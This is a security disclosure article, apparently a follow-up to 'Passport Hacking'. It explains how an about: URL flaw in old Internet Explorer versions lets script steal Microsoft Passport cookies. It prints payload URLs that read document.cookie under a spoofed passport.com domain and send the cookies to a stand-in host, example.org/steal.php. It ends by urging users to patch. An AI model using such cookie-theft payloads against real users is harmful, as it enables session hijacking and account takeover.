This article is a follow-up article to Passport Hacking. Much of the information here is given under the assumption that you are familiar with the original article, so you should read it first. The original article was the first to reveal the security vulnerability in Microsoft Passport that prompted Microsoft to discontinue the Passport service for a short period of time while improvements were made. Other articles have appeared since the original, and it has been translated into several different languages. Unfortunately, the Passport mechanism possesses the same fundamental flaws that it did when the original article was written, though attempts have been made to mitigate these risks by imposing shorter timeout periods and requiring users to re-authenticate themselves more often.

Background

In Passport Hacking, I introduced the Microsoft Passport mechanism and its inherent insecurity characterized by a complete dependence on cookies. Though cookies can be an adequate means of maintaining state in HTTP transactions, they are a poor choice for user authentication. Using cookies and URL variables, Microsoft communicates with Passport enabled sites through the user alone; there is no server to server communication. This is the fundamental design flaw that exposes Passport users to all of the security vulnerabilities that have been published to date.

The vulnerability used to compromise a Passport account in the original article involved using a malformed URL to expose a user's cookies to an unauthorized Web site. This vulnerability only existed in Microsoft Internet Explorer versions 4.0 - 5.0, so this technique could not be used to compromise the Passport account of people using Internet Explorer versions 5.5 and 6.0. This article will demonstrate a technique that can be used to compromise the accounts of people who use these newer versions of Internet Explorer and will direct Internet Explorer users to the patch that will fix this vulnerability.

The Vulnerability

In order for a web site to gain unauthorized access to a user's cookies, an about: URL is used to deceive the web browser into executing client-side scripts in the local context. Thus, a client-side script can potentially have as much access to your computer as you do.

An example of a URL exploiting this vulnerability is the following:

1. about://<script>alert('This+browser+is+vulnerable')</script>

A vulnerable browser will execute this client-side script, which will display the following alert box:

The significance of this is more extreme than this simple example illustrates. Because Internet Explorer executes this client-side script in the local context, this script has fewer security restrictions than client-side scripts that Internet Explorer believes to be sent from a remote server. In addition, you can make a simple modification to the URL in order to make the domain checking mechanism in Internet Explorer mistake the URL for one from any domain you choose. For example:

1. about://passport.com/<script>alert(document.cookie)</script>

If you are currently logged into Microsoft Passport when visiting this URL, an alert box similar to the following will appear:

All cookies that would be made available to a server-side script in the passport.com domain will appear in the alert box. The significance of this example is that you now have a technique for executing a client-side script that has access to any cookies from any domain you choose. When combined with Passport's fundamentally broken design, the danger should be clear.

The Compromise

The only step remaining for a complete compromise is to establish a method to get the cookies sent to the web server where they can be stored and subsequently retrieved by the impostor. To do this, I will use a URL similar to the last example, except that the script will redirect the user to a remote URL and append the cookie data in the query string of that URL:

1. about://passport.com/<script>document.location='http://example.org/steal.php?cookies='+document.cookie</script>

The most dangerous characteristic of this technique is that no interaction from the user is required. Therefore, an attacker can redirect the user through many URLs that will compromise the cookies from many different domains rather than just one. This makes Internet Explorer versions 5.5 and 6.0 even more dangerous than the previous versions with regard to cookies. In addition, this compromise is even easier to achieve than the original, requiring very little expertise on the part of the attacker.

Once the cookies are stored on the server, a technique must be established to store these cookies on an impostor's browser. Many methods can be utilized for this step, and the original article gives sample code for one. This final step will complete the impersonation, and the impostor can then pose as the user whose account was compromised by visiting any Passport-enabled web site.

Summary

Due to the fundamental flaws in the design of the Passport mechanism, I do not recommend that it be used. The convenience is not worth the security risks, and it is likely that this article does not represent the last of such risks. As I mentioned earlier, the mechanism itself is fundamentally flawed; articles such as this merely describe techniques that can be used to exploit these flaws.

For those who are currently using a vulnerable browser and wish to continue to use it, install the security patch. There are many web sites that utilize cookies in order to maintain state, and using a vulnerable browser places you at risk to many attacks similar to the one described here. A better option is to upgrade your browser to Firefox.